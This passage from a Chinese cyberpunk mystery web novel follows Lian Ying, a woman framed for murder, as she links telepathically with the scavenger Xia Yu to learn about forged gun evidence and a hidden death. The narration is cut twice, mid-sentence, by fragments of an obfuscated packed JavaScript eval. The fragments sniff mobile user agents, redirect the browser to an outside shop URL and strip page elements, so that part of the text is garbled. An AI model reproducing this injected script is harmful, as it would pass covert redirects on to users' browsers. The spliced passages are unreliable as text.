连映的记忆瞬间回溯到昨天混乱的午后,易楚生身亡后的封锁现场。 昨天下午发布会的混乱过后,人们的尖叫声和刺耳的警报声撕裂了宴会厅的空气。所有出口都被重型防爆闸门死死封锁,人群像被困在玻璃罐里的苍蝇,尖叫声和拍打大门的哭喊声混成一团。 也许是人群太拥挤嘈杂,连映感到耳边嗡嗡作响,只能像个溺水者一样在躁动的人群中踉跄。 忽然,前方的人潮中出现了几道穿着黑色创联安保制服的身影,正在人群中粗暴地推搡搜索,目光阴鸷。当他们的视线锁定连映的瞬间,就像秃鹫发现了腐肉,径直扑了过来。 看着他们和她的距离越来越近,连映顿感不妙。 怎么好像是冲着她来的?难道是因为易楚生的死来找她的?死了还要给她找麻烦! 连映低下头想赶紧趁乱溜走,一股蛮横的力量突然从斜刺里杀出。 一只布满薄茧的手一把揪住她的衣领,天旋地转间,她整个人被重重地砸在旁边冰冷的大理石柱上。 “不许动!联邦治安署!” 肩背的骨头直直磕到柱子上,连映痛得眼冒金星,怒气猛地窜了上来:“你干什么——” 看到对方居然是个一身制服的女执法者,她立刻换了语气,道:“警官,那边有人想要抓我,你能不能帮我——” 连映还没说完,眼前一身制服的陌执法者却忽然拿出一副冰冷的手铐,“咔嚓”一声锁住了连映的手腕。 “连映,你涉嫌一宗谋杀案,跟我去局里走一趟吧。” 她声音冷硬道,但在压着她的头穿过那些面色不善的公司安保部队时,她突然贴着连映的耳朵,用只有两人能听到的声音急促地说: “不想死就闭嘴!落到公司手里你会死得连渣都不剩,老实跟我走!” “谋杀案!?我可没杀易楚生,你们不能随便抓人。”连映立刻意识到这是什么情况,她忍着怒气,努力语气冷静地低声辩驳道:“还有,你有逮捕令吗?没有证件不能随便抓人。” 李蔚对她的话充耳不闻,只顾压着她往外走,推搡间,一张挂在对方胸前的证件在连映眼前剧烈晃动:【重案组·李蔚】 李蔚一路将她强行拖出被特别开启的侧门,眼看就要塞进路边的警车。 “滋——!!”刺耳的刹车声撕裂夜空。 几辆漆黑的重型装甲运兵车像钢铁巨兽般毫无征兆地冲破封锁线,直接将警车死死堵住。 车门打开,两队全副武装的特勤士兵迅速跳下,枪口整齐划一地抬起。 但他们指的不是连映,而是连映身旁的女执法者李蔚。 李蔚的手猛地按在腰间的枪套上,眼神瞬间冷了下来:“搞什么?治安署办案!” 装甲车上走下来一个穿着深蓝色特勤制服的短发女人,是当天晚上负责审讯她的特勤局军官,陆靖遥。 她没戴面罩,挥手亮出一个电子文件的全息影像,冷冷地看了一眼李蔚,声音没有任何起伏: “人我们特勤局要带走。罪名:蓄意制造大规模恐慌,涉嫌恐怖活动。” “放屁!”李蔚挡在连映身前寸步不让,“她是我的嫌疑人!有证人指控她涉嫌谋杀易楚生,必须先回警局接受调查!” “普通的谋杀案归你管。” 陆靖遥把那份红头文件拍在李蔚胸口,目光越过她,像看死人一样看着连映:“但我们掌握了更有趣的证据。她做的事,可不止杀个人那么简单。” 喂,都没人问过她到底做没做吗?连映莫名其妙地看着眼前剑拔弩张的场景。 “哗啦——”对面的十几把突击步枪同时拉栓上膛,黑洞洞的枪口瞬间锁定了李蔚的眉心。 “根据《特别法》,特勤科即刻接管。” 被粗暴拖走塞进装甲车里,看着身后陌生的女执法者被两名冲上来的特勤士兵死死架住手臂,按在引擎盖上。 …… 回忆结束,两道身影在连映脑海中重叠。 是她,那个亲手逮捕她的执法者。可是被抓以后,她却再也没有见过那个人。 当时她为什么会对自己说那些话? 还有,她为什么会出现在这里? 是因为这个虚拟情境会模拟自己记忆中和案件相关的人吗?还是说,这一切都是真实的,执法者李蔚真实地出现在了创联塔的地下垃圾回收“深井”里? 后者看起来比前者更加荒谬。 也许是由于高强度的精神链接,让她产生了幻觉吧。连映自嘲地想。 “呼……呕,好恶心的味道……” 暂时甩掉了。 夏雨靠在管壁大口喘息,感觉肺里已经被管道内弥漫的令人作呕的腐臭浸满了。 【任务物品还在吗?确认一下。】 夏雨愣了一下,随即不耐烦地啧了一声:“命都快没了,还惦记着那块破铁片……” 虽然嘴上抱怨,但出于对这个神秘声音的忌惮,她还是依言摸向了腰包。 手指触碰到那块冰冷坚硬的金属牌边缘,夏雨松了口气:“在。那块破牌子还在。满意了吧?” 【嗯。】 连映应了一声,声音依旧四平八稳,仿佛只是在例行公事。 紧接着,她像是漫不经心地、顺带提了一句: 【还有其他东西吗?我记得你身上还有些别的……“战利品”。确认一下有没有遗失,不要留下任何可能追踪到你的痕迹的物品。】 其实连映的心跳在这一刻微微加速了。当然,她在意的根本不是那块金属牌,而是夏雨之前顺手揣在兜里的那枚胸针。 “知道了知道了,真啰嗦……” 夏雨嘟囔着,伸手去摸口袋的夹层。 突然,她的动作僵住了。 “……空的?” 夏雨的脸色瞬间煞白,手指发疯似地在那个夹层里掏了又掏,甚至把内衬都翻了出来。 “没有……那是红宝石的!很值钱!”夏雨的声音开始颤抖,带着一丝肉痛的哭腔,“靠!肯定是在刚才躲那几只机械狗的时候掉出去了!” 连映的心脏猛地向下一沉。 那一瞬间,连映脑海中闪过那个李蔚的女执法者锐利的眼神。 当时光线太暗没看清,现在想来,应该就是它。 它落到了执法者手里。 “不行,我得回去!” 夏雨狠狠地踢了一脚旁边的污水,转身就要往回走,“那个成色,在黑市能换至少半年的抑制剂!不能就这么……” 【站住。】 连映的声音骤然冷了下来,带着不容置疑的威严。 没人知道她说出这两个字时,心里压抑着怎样的翻涌。她比夏雨更想回去,更想把那个东西拿回来。 但理智告诉她,那是一个陷阱。 【不许去。】 “凭什么?!”夏雨急了,“那是我捡的!” 【因为那是个诱饵。】连映强行压下心头的不快,用一种近乎冷酷的理性语气分析道,【后面除了那个女警,还会有创联的机械猎犬。为了那点钱,你想把命搭上吗?】 “那不是一点钱!那是……” 【那是身外之物。】连映打断了她,语气冷漠得像个没有感情的AI,【人活着总能有路走,现在回头就是送死。继续走。】 夏雨的动作僵在原地。 她死死咬着嘴唇,眼眶通红。 在她听来,这个声音简直就是典型的“何不食肉糜”。 “你当然不在乎……”夏雨低声嘟囔了一句,语气里充满了对“上位者”的怨怼,“反正对你们这种高高在上的人来说,那种东西不过是个垃圾吧?你知道那个东西对我来说意味着什么吗?” 连映在意识空间里沉默了。 高高在上?不在乎? 夏雨不知道,那枚胸针是连映在这个世界上寥寥无几的亲密关系的证明,虽然关系已经结束,但它的主人曾给过她的关怀和温情并不会因此消失。 但她不能解释,也没什么可解释的。 【前面路况复杂。】连映硬起心肠,冷冷地催促道,【如果你不想死,就动起来。】 夏雨没有再说话,只是狠狠地抹了一把脸,带着满腔的怒气和委屈,沉默地转身继续深一脚浅一脚地往前走。 【左转。前方五米有障碍物,注意闪避。】连映的声音在夏雨脑海中过分冷静地响起。 夏雨不喜欢这种说法方式,她感觉这不像是在和刚刚死里逃生的人说话,倒像是个AI监工在指挥工作。 夏雨现在心情不太愉快。她刚被李斯背叛,又被李蔚那不知敌是友的一枪吓得半死,现在脑子里的声音却理智得让人火大。 “喂,这些我自己能看见,能不能别像个GPS导航一样?”夏雨一边深一脚浅一脚地挪动,一边故意没话找话发泄情绪,“能不能给我开个夜视仪什么的?这里黑得像那帮公司的良心。” 【你的目镜没有这个功能,版本太低。】连映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她依然能清晰地感知到夏雨急促的心跳,感知到她恐惧颤抖的肌肉,甚至能感知到她脑海中那股“终于摆脱了”的庆幸情绪。 链接……没有断?这个链接不需要网络,也不需要设备?连映心头一跳。 在她耳边,除了夏雨的喘息声,还有一个无机质的系统提示音响起: 【警告:载体X-05对您的信任值大幅下降,当前信任值:-30】 得,刚刚建立的一点信任又崩了。 连映赶紧查看了一下夏雨的同步率数据,稍微松了口气:已经提高的同步率数据并没有变化,二人的意念交流也没被禁止。 也许是因为被连映救了一命,夏雨心底依然对她保有一分她自己都不愿承认的认可和信任。 几秒钟后,在夏雨以为自己终于安全了的时候,那个熟悉的女声,再次毫无阻碍地、清晰地在她脑海正中央响起: 【别费劲了,夏雨。】陌生女音语调低沉地叹息道,【我不在你的目镜里,也不在你的芯片里。】 【你就算把设备砸了,我也还在。】 “!!!”夏雨不由自主地抖了抖。这是完全超出了她认知的、无法防御的入侵。这不是黑客,这是…鬼上身,还是说,这是会里派来监视她的人?那些疯子好像确实有些神神鬼鬼的门道…… 由于心神恍惚,她忘了一点,那是连映提醒过的障碍物——一根横亘在污水下的生锈钢筋。 “噗通!” 夏雨脚尖被绊住,整个人失去平衡,正脸朝下重重摔进了齐腰深的黑水里。腥臭腐败的污水透过破损的防护服灌渗进她的腿脚和手臂,顿时浑身刺痒不已,甚至还有一点透过面具的空隙溅到脸上和嘴里。 “唔恶——呸呸呸!” 夏雨狼狈地从水里扑腾起来,扒下面罩和手套,一边干呕着擦脸一边吐着口水。 【还能走吗?我知道你现在不舒服,但尽量声音小一些,我怕——】连映语调冷静地劝说到。 她能感到,在不远处,有一些东西一直没有离开。 “滚……”夏雨低着头,浑身发抖。 【什么?】 连映怔了怔,以为自己听错了。 “我让你滚啊!!” 生理上的极致恶心和不适成了压垮骆驼的最后一根稻草。超出预料、超出常识、超出承受能力的今天的一切让夏雨彻底崩溃了。 可是,创联的人还在上面,她不敢高声哭泣,只能红了眼眶,咬着牙,压着声音,向这个忽然入侵自己大脑的陌生人发泄心中满腔的委屈愤懑: “你是谁?凭什么在我脑子里赖着不走?你想干嘛?凭什么替我杀人?凭什么我要经历这一切?我和妈妈只是想要活着,凭什么你们就是不放过我们!?你以为你救了我,我就会听你的话吗?做梦!快点滚出我的身体!!!” 大颗大颗眼泪落下。 连映缄默不语。 她也不知道凭什么她要在地下垃圾场帮夏雨杀人,凭什么她会被卷入一场莫名其妙的阴谋被诬陷为杀人犯,凭什么她母亲一夜之间就成了公告里造成重大伤亡事故后畏罪潜逃的元凶,从此杳无音讯。 五年前父亲去世时她就已经明白,沉溺往事没有任何意义。从那时起,她决定不再为自己或别人的命运叹息。 但此时此刻,她忽然明白自己为什么会帮夏雨了。 因为她们都不甘心就这样接受。 12.问题(夏雨第一次链接-终) 一时之间,夏雨和连映都沉默不语。 由于同步率有所提升,加上夏雨此刻情绪异常激动,她心中没说出口的抱怨此刻在连映脑海中异常清晰: 【好不容易得到这个任务,偏偏创联塔这几天出了事,又是死人又是失踪又是跳楼又是报假警,热闹得要命,害我从昨天夜里就开始盯梢,到现在也没睡。熬了一整夜才捱到早上,趁警卫换班溜进来,结果任务和计划都一塌糊涂,老鼠居然变成了怪物,好不容易死里逃生还莫名其妙被鬼上身……真是倒霉死了……】 创联塔……死人……跳楼……熟悉的词语让连映心头一凛。 等等,报假警!?难道是—— 昨晚的梦境,闻阗坠落的画面,还有审讯室里警察提到的闻阗失踪的消息闪过脑海,连映的心脏猛地一沉。 难道这是根据事实生成的拟感测试,目的是撬动她的一切真实想法和反应? 可是,如果这是测试,他们也真下了大本钱,甚至连这些她没有亲眼见过的细节都填充得如此严丝合缝。 说到底,为了她这么个小蚂蚁,至于这么大费周章吗?现有的“证据”已经足以碾死她了! 正在这时,系统提示忽然响起: 【注意,本次共鸣链接还剩十分钟。倒计时:00:05:00】 快到时间了!连映心中焦躁起来。她还有话要问夏雨,不能就这样结束。 夏雨现在心中对她产生了抵触,情绪激烈,暂时想用普通方式得到她想要的信息根本不可能。 必须换一种方式。必须给夏雨一个能像钉子一样钉住她的恐惧、让她不得不立刻爬起来配合的理由。 连映的大脑飞速运转。 刚才觉醒时那道阴冷的窥视感、刚才遇到女警李蔚时察觉到的两道波动、再加上夏雨心里对“会里派来监视的人”的恐惧…… 所以,也许不是她的错觉,而是真的有人在看! 可是,如果真的有人在暗中监视,他们的目的是什么呢? 是监视她,还是监视夏雨? 是“系统”的幕后之人,还是夏雨的“会”里,或者李斯的碎铁帮? 无论是什么,她都该调整策略了。 既然解释不清,那就顺水推舟,诈她一下。 连映深吸一口气,刻意以一种更加冰冷从容的语调开口道: 【……哭够了吗?哭够了就站起来继续走。】 夏雨的哭泣减弱了。 【在根本没摸清你和老鼠实力差距的情况下贸然行动,还轻易把重要的任务物品扔出去。如果不是我接管了你的身体,世上现在已经没有夏雨这个人了。】连映以上位者的口吻说。 “……你全都看到了?”夏雨愣了一下,胸中委屈愤懑恐惧等复杂情绪顿时冷却,化为一种深入骨髓的寒意和警惕。 “难怪在没网的地方还能和我联系,口口声声任务、任务物品……哦,我明白了,你是会里派来的监察者!” 猜对了,果然有这么个人。 连映心里一动,冷哼一声,用一种异常平稳冷酷的语气道: 【你以为上面真的只派了你们两个执行这种级别的回收任务?尤其是猫和老鼠还都各有各的盘算的时候。】 夏雨脸色变了变。 刚刚她没控制住情绪在监视者面前哭了一场,现在对方一定觉得她很傻很天真。 “哼。”她冷笑一声说,“既然你是监察者,那老鼠一开始发疯的时候你怎么不出手?非要等我快死了才动?” 【这是测试。】连映淡定地胡扯,【而且,结果还算勉强合格。】 “哇,谢谢您的大发慈悲哦~” 夏雨捏着嗓子假模假式地嘲讽了一句,接着又恶狠狠地道: “所以,你要把我杀了老鼠的事上报吗?互助会不是说大家都是家人吗,你们总不会把家人出卖给碎铁帮那些外人吧?” “这个要看你表现。”连映语气平平地道:“要是连活着回去都做不到,就没有替你遮掩的必要了。” “走走走,我立刻走!”夏雨闻言一骨碌站起身来继续跑路。 看来这个监察者的名头还是好使的。趁夏雨似乎还没起疑,连映赶紧开始问自己最想问的问题: 【现在,汇报状态。我要确认你的认知模块是否受损。】 “我有病啊?我好得很!” 【回答问题。这是流程。】连映的声音带上了一丝不容置疑的严厉,【现在的准确时间地点报一下。】 这倒确实是会里某些人大人物的说话风格。公事公办的口吻让夏雨不情不愿地回答道: “2085年12月26号凌晨4点52分,地点是创联塔B-7区下层排污管网,正在往C区转移。” 【很好。认知正常。】 时间和她所在的现实似乎一致……连映心里一动,不动声色地抛出第二个问题: 【刚才信号屏蔽导致外部资讯断连。向我汇报最近的高优先度新闻,我要确认舆论环境是否对撤离有利。】 “新闻?”夏雨皱了皱眉,一边深一脚浅一脚地往前走,一边吐槽,“我不看新闻。那些大公司的喉舌里哪有真话。” 【任何异常动向。】 “啧……要说异常,最近确实有个挺有意思的事儿。” 夏雨似乎是为了缓解黑暗中的恐惧,或者是想在这个神秘的“上级”面前卖弄一下自己的情报能力,话匣子打开了。 “前两天,创联的发布会上,有个大人物被杀了。叫什么来着……一畜生?” 连映的心脏猛地一跳。 “哦对,易楚生!”夏雨嘿嘿一笑,语气里满是幸灾乐祸。 “长得倒是挺人模狗样的,但看这名字就不像好人。‘一畜生’,嘿,起名的人真是个天才。” 连映强忍着情绪的波动,尽量用毫无波澜的语气问道:【……你关注这个干什么?这和任务有关?】 “怎么没关?地点就是这里啊!创联塔!就在咱们头顶上死的,直播!现在满大街都是警察和安保,就是因为这事儿闹的!” 她无视了连映语气里的冷淡,兴致勃勃地说: “不过,听说凶手已经被抓了,还是他以前的学生,是个女的,长得还挺好看,名字叫什么来着?李,还是连——?” ——连映。 连映在心里说,嘴上却没接茬,听夏雨自顾自地继续道: “总之,网上说那女的当年和这畜生有不正当关系但后来闹掰后被他封杀了,艺术圈没混成,这几年过得也不怎么样,心理就扭曲了,这次重新见到那畜生,新仇旧恨加在一起就跑去报复杀人了。啧啧啧,瞧瞧这关键词,师生、艺术、罪案,甚至还能牵扯到政治,元素拉满,这剧情可比那什么合成人选秀精彩多了。” 呵。不正当关系。心理扭曲。报复杀人。 【……你记得倒是清楚。】 连映努力忽略那几个刺耳的词语,冷冷地说:【没想到你还有心思关注这种花边新闻。】 “喂,你什么语气?道德绑架?我妈死了我就得天天以泪洗面吗?” 夏雨敏锐地察觉到了对方情绪不对: “你是不是觉得我们沉降区的人都是没钱做基因优化的笨蛋,只会捡垃圾?” “我告诉你,那女的……不简单。”夏雨顿了顿,语气忽然变得有些古怪。 “我看了很多网上的扒皮分析贴,她可不像网上传的女疯子,你知道吗,她男朋友居然是那谁,而且她妈当年的事也不简单!” 说着,她下意识地去摸刚才捡回来的战术目镜,想调出新闻给脑子里的这位“看”一下: “诺,你等我上网找一下啊。” 她刚把目镜举起来,才反应过来。 “靠,忘了。没网。” 夏雨悻悻地戴上目镜,好奇地问: “欸,监察者肯定知道不少内幕,有没有什么不为人知的秘密可以给我分享一下的?” “无可奉告。”连映冷冰冰地说。 “第三个问题。” 她压下心头因夏雨无知无觉的话语而起的波澜,抛出了一直缠绕在心头的疑问: 【假设你在D区回收了一块被强酸处理过的高级军用加密终端。外壳严重腐蚀,内部线路损毁。作为一个合格的拾荒者,你能不能从这堆废铁里鉴定出——这台设备在被腐蚀前,是否进行过底层越狱?以及,能否提取出它最后一次击发时的实时生物认证ID?】 夏雨愣了一下。她没想到这个神秘的监察者会突然问这么具体的硬核技术问题。 “这……这得看腐蚀到哪一层啊。” 说到老本行,夏雨的语气里少了几分戾气,多了些专业的思索: “军用那帮东西我都拆过。它们的‘神经同调锁’是刻在底层晶圆里的物理电路,那个最硬,强酸一时半会儿化不掉。所以只要晶圆还在,确实能查出这把枪绑定的是谁。” 说到这,夏雨嗤笑了一声,像是在嘲笑外行: “但是,要想查最后是谁用的或者有没有越狱,那就是两码事了。” 连映心头一跳:【怎么说?】 “越狱也好,外挂也好,那都是跑在系统软体层面的东西。还有那个‘实时生物认证’,也就是扣扳机那一下的记录,都是存在缓存区的。” 夏雨一边深一脚浅一脚地避开污水,一边随口说道: “如果是高浓度的工业强酸,最先烧毁的就是读写层和缓存区。换句话说——证据早就化成水了。” 她顿了顿,语气变得有些玩味: “这时候如果有人拿着一块已经被酸烧得面目全非的板子,信誓旦旦地跟你说:‘我检测过了,这东西绝对没越狱,也没人用过外挂,完全是原装系统跑的数据’……” 【……】连映在意识里屏住了呼吸。 “那他就是在把你当傻子耍。” 夏雨毫不留情地给出了结论: “要么他是外行,不懂结构;要么……他就是故意在撒谎。因为死人是不会说话的,同样的道理,烧毁的系统层也不会告诉你它干不干净。他只能看到‘锁’是谁的,但他绝对没法证明那个‘锁’当时有没有被绕过去。” 夏雨的话如同闪电,将连映心中最后一点迷雾劈开。 哈,果然是这样,连映在心里冷笑一声。 不是证据确凿,而是证据缺失。 审讯方利用了设备被销毁这一点,故意混淆了绑定者和使用者,他们拿着那个烧剩下的、无法被篡改的物理硬件锁,指鹿为马,硬说那就是她行凶的铁证。 而因为系统层被毁,但东西确实是她的,连映根本没法自证设备曾被破解,这是一个完美的死局。 军方之所以那么说,是在利用连映被捕后的信息差,赌连映不知道设备状况和军方的技术水平,从而诱导她因为恐慌而在这个问题上自乱阵脚。 但是他们有一点可能没说谎,那就是,他们确实有能力直接以现有证据给她定罪。 可是,他们为什么没那么做呢?对于这件事的真相,他们到底知道多少? 留着她,是否是因为还想在她身上得到什么别的情报? 是因为易楚生的案件背后还有隐情,还是因为闻阗? 不管是哪个,这两件案子都没那么简单,而她,只是明面上大家都心知肚明的替罪羊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113395|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所以,他们才会想要利用手头并不那么扎实的证据逼迫她早早认罪,或者……早点吐出这件事背后的其他“隐情”。 可惜,她什么都不知道,但她更不会乖乖认罪。 【我知道了。】连映压下心头的惊涛骇浪,声音恢复了平静:【回答得不错。继续赶路。】 “哼,这方面我是专业的。”说到自己熟悉的领域,夏雨情绪微微上升了一些。 连映还在沉默思索,瞥见视野中的链接倒计时已经变成红色:【00:01:23】 没时间纠缠了。必须问出关键信息。 【八卦到此为止。】连映说回正题,【关于这次的回收目标,那个金属牌,你知道多少?】 夏雨翻了个白眼:“能不能不要老问这种弱智问题?你是监察者,你都到我脑子里来了,我不信你不知道这事儿的内情。” 【我在核实你的忠诚度。回答。】 “……切。”夏雨撇了撇嘴,虽然不满,但还是老实回答了,“那是互助会里的高层指名要的。柳姨说,那个图案是神的眼睛,拥有那个东西的人能让和神灵沟通,我们这个分会的人就也能有机会聆听神悯。” “听着很扯淡是吧?我本来也这么觉得。但这玩意儿邪门得很,你也看见了,它能把烂肉变成怪物。” 互助会。神的眼睛。听起来实在不像什么正经组织。 可是,这写和易楚生有什么关系?难道易楚生在研究这个邪教,或者,他本身也是这个邪门组织的一分子? 【倒计时:00:00:54】 时间飞速流逝,连映来不及继续细想,赶紧开口:【最后一个问题。】 她尽量不让自己的语气显得太急切: 【昨天夜里,你在创联塔外蹲点时,是不是看到了有人跳楼?有人报警了,警方赶到后对方却改了口?你看到那些人的样貌了吗,有没有录下来?】 夏雨的脚步猛地停住。 “你怎么知道?那件事我明明谁都没说!”她声音发紧,异常警惕地问:“你也看到了?不对,如果你看到了,根本没必要问我。” 她眯起眼睛,对着虚空冷冷发问:“喂,监察者,这件事到底跟会里有什么关系?你们不是只在乎任务吗?” 【回答我。你看到了什么?】 夏雨犹豫了。她在黑暗中咬着嘴唇,眼珠飞快转动。那是一个足以让她在这个城市死上一百次的秘密,她绝对不会把这个本打算烂在肚子里的秘密交给一个连面都没露的神秘人。 “哦,那个呀?” 她突然松弛下来,换上了一副混不吝的语气,像是想把这个话题随意地打发过去: “你想多了。昨天夜里我困得要死,刚眯了一会儿就被警笛吵醒了,其实我什么都——” 连映不再伪装,单刀直入: 【昨天夜里,你在创联塔下看到一个人坠楼了,是吗?】 夏雨瞳孔骤缩:“你怎么知——” 【回答我!】连映厉声逼问,【那个坠楼的人真的死了吗?尸体呢?为什么警察什么都没有发现?】 这句话像雷劈开了夏雨的心理防线。 “死了死了死透了!那么高的地方掉下来一动不动肯定活不了了!尸体被几个黑衣人弄走了,黑不溜秋的,一看就是创联的人!警察来的时候,那片地儿已经被清理干净了,什么都没有!” 夏雨崩溃抱头: “我本来想把这事儿烂在肚子里的,我可不想惹祸上身!我怎么这么倒霉,呜……” 够了。 连映心脏狂跳。 【谢了。】 连映轻声道。 【警告!共鸣链接即将断开!5——4——】 “先走了。谢谢你的情报,下次见,夏雨。”连映匆匆扔下最后一句话。 “喂?喂!你说清楚!” 夏雨惊慌的呼喊迅速远去。 黑暗袭来。 【嘟————】 时间到。 世界一片漆黑,连映眼前的世界瞬间崩塌。 “喂?人呢?” 夏雨在心里喊道。 没有人回答。那种被人窥视、被人连接的奇异感觉,像潮水一样退去了。 “……真的走了啊。” 夏雨愣了几秒,随即长出了一口气,站起身来,擦了擦额头上的冷汗,眼神暗了下来。 “这个监察者不对劲。她对任务本身并不热衷,反倒对那些八卦案情追根究底……甚至还想打听那个晚上的事。” 想到那个可以无视地形、时间、甚至无视物理断网就能随意进出她大脑的声音,夏雨心里暗暗打了个激灵。 这底下可是物理隔绝层,根本没有外网信号。 除非…… 夏雨眯起眼睛,环顾四周漆黑的管道。 除非那个监察者的真身就在这附近,用的是某种短距离高频传输设备。甚至……她是不是在不知情的时候被植入了什么新型的生物跟踪器? “哼,管她有什么目的呢,反正我没吃亏,还赚了个神奇超能力。她人在附近却不敢露面,也许只是不想惹麻烦上身吧。” 她冷笑一声,决定回去之后要把全身上下好好扫描检查一遍。 “汪——!汪汪!” 机械猎犬的吠叫声和金属爪子抓挠井盖的声音越来越近,显然创联的人还在试图突破入口。 夏雨不敢再停留。她抓起背包,拖着刚刚恢复却依然酸痛的身体,迅速融入了下水道深处的阴影中。 “唉,老妈……”黑暗中,她深一脚浅一脚地淌着污水,在心里无声叹息,“你留下的这个烂摊子,未免也太烂了吧……” 13.醒来 【共鸣链接已断开。】 意识回笼的瞬间,连映打了个寒颤,医务室特有的浓烈消毒水味浸了满肺。 她轻轻动了动脚腕,脚上传来熟悉的电子镣铐触感。 看来,她是回到了属于自己的现实里,连映心情复杂地想。 不知是医务室使用了止痛剂还是压力源消失,现在连映的头和胃已经完全不痛了。 她微微松了口气,没着急睁开眼睛宣告自己的清醒,依旧维持闭眼仰躺的昏迷姿态,用意念打开系统面板。 【共鸣者档案:NO.095(连映)】 【共鸣等级】:初级(勉强能维持单向链接) 【共鸣者分类】:链接系(固有),???(状态异常) 【体质等级】:B 【说明】:对象是自然人,没有接受过任何基因增强和身体改造,先天基因缺陷无法植入义体或脑芯,□□比较脆弱。但是,对象身体健康,无不良嗜好,长期锻炼,拥有基础格斗技巧和枪械技巧,具备基础的自保能力,最终体质等级判定为B级。 【精神力等级】:1级】 【精神力上限】:???(状态异常) 【说明:无法探知精神力上限。大脑部分区域状态异常,海马体中存在高等级记忆封锁,大部分精神潜能处于休眠状态。】 【核心天赋(固有)】: 1. 意识共鸣:无视空间与防火墙,强制链接适配目标的意识。 2. ???:状态异常,无法探知。】 【共鸣技能】 1. 能力共享(初级):当与链接对象或同源载体的同步率达到一定阈值,或受到强烈刺激时,能够和同步率超过25%的链接对象共享一项天赋或技能。 当前已经固化的共享技能: 机械感知(初级) ???(状态异常) ???(状态异常) ???(状态异常) 【说明: (1)只要宿主与载体X-07保持连接通道(无论是否激活),即可共享此感知能力。 (2)通过“能力共享”效果获得的技能,效果会受到使用者自身相关领域的知识储备、经验水平的限制,可能无法发挥百分百效果。】 2. 潜能激发(初级):能够激发链接对象的共鸣潜能。 【描述:作为链接系共鸣者,你的精神力是最好的催化剂。你能够强制唤醒链接对象体内沉睡的异能因子,或在短时间内大幅增幅其现有能力。】 3. ???:状态异常,无法探知 连映把系统面板上的信息仔细看了一遍,心里疑惑不减反增。 怎么有这么多问号? 按照一般小说的套路,这些问号肯定表明主角的潜能是SSS+级别,但是连映对自己很有自知之明,她前半辈子就是个在普通不过的普通人,哪会有什么超级潜能可言呢? 期望越大失望越大,在她过往的人生经历中,她曾数次经历过那种惨痛的失落,因此也向来不对任何事抱有额外的期待。 连映目光掠过那些标着“状态异常”的能力,落到自己的基础数据上。 “体质C,精神力未知……” 如果不是她因为小时候身体不好养成了锻炼的习惯,她的体质评级可能会比现在更差。精神力未知,那就先略过。 那个“能力共享”的技能看起来倒有些用处。 连映心念一动,试着看向床边的医疗监护仪。嗡。不需要开关,视野瞬间切换。原本塑料外壳的仪器在她眼中变得透明,蓝色的电流顺着线路板流动,红色的报警二极管正处于待机状态。 果然。 她能看清内部结构,甚至能凭直觉判断出哪里电流不稳,但是仅此而已。 “看来是硬件装上了,但驱动程序没跟上。”连映自嘲地想。 但是说实话,她现在其实也没法验证这能力到底是真的还是她脑子里的幻觉,毕竟她又不能现在就把仪器拆了。 她又点开了那个一直灰显、但在刚才那一战中短暂亮起的【潜能激活】图标,仔细读了一遍技能介绍,结合刚才危机时激活夏雨潜能的经历和上面的“共享”技能,她恍然大悟: “意思是说,只要我链接的人够强,我就能借用她们的能力?” 这下她明白了。搞了半天,原来她的定位是个专门发金手指、顺便还能从别人身上薅羊毛的金手指老奶奶? 她关闭共鸣者信息,打开包含夏雨信息的链接对象页面。 - 【上次共鸣链接对象:载体 X-07(夏雨)】 - 年龄:16岁 - 体质:C - 精神力潜能:A-(未激活) - 共鸣同步率:27% - 信任值:-30 / 100(她依然对你充满警惕,但比起一开始,她心底对你多了一份信任。) - 个人技能:机械精通(中级),电子破解(初级) - 共鸣能力:机械感知(初级),???(待激活) 连映扫了一眼面板。 负30的信任值……夏雨那姑娘防备心真的很强,看来距离信任度满值还有很长的路要走。 从刚刚第一次“附身”(也就是系统所谓的“共鸣”)夏雨的经验来看,除了做任务和获得心灵或思维上的某种共振,提升信任值是提升共鸣同步率最简单的方式,而同步率是直接决定着她和附身对象的意识沟通效率,以及她对对方身体的掌控程度。 如果她不想一直当什么都做不了的背后灵,而是想借用对方的身体自由行动,那么她就必须努力去提升信任值。 连映心里忽然灵光一闪:如果这样的话,那是不是只要链接对象增加,她就能获得更多的共享能力? 她立刻在心中问系统:“系统,怎么样才能链接更多共鸣链接对象?载体和链接对象有什么区别?共享的能力和对象有上限吗?” 系统回答道: 【载体是共鸣链接对象的一种特殊形式,为链接系能力者所特有。】 【非链接系初级共鸣者需通过肢体接触确认可链接对象;链接系初级共鸣者可隔空链接同源载体,若载体非同源则仍需肢体接触确认。】 【能力、链接对象上限取决于您的精神力(当前上限:2)。若想提高上限,请努力提升精神力。】 “非同源载体需要肢体接触……同源载体是像夏雨那样的?同源是怎么个同源法?精神力又怎么提升?”连映疑惑地问道。 系统这次没有回答。 连映也不气馁,立刻想到应对之法:“最近可以先多羁押所里的犯人接触一下试试看,羁押所里的犯人各个‘卧虎藏龙’,说不定这里面会有什么厉害角色。” 连映心想,关上系统,正想动动手指假装醒来,一种极其怪异的、被窥视的寒意突然爬上了脊背。 她猛地睁开眼,向着视线传来的方向看去。 在医务室光线最暗淡的墙角,她看到了一团眼熟的阴影般的黑色斑点。 它的大小、形状和上次看到时似乎没什么变化,依然紧贴着墙壁与地面的交界处。 但这一次,连映清清楚楚、毫无疑问地看到—— 它在动。 确切地说,并不是它蠕动的姿态被她目睹,而是它和她之间的距离正在规律地一点点缩短。 每眨一次眼,它就离她更近一点。 “……” 连映的瞳孔骤缩,死死盯着那团像是黑色霉斑的东西。 这两天接二连三看到不该看到的东西,她真的开始怀疑自己的脑袋是不是出问题了。 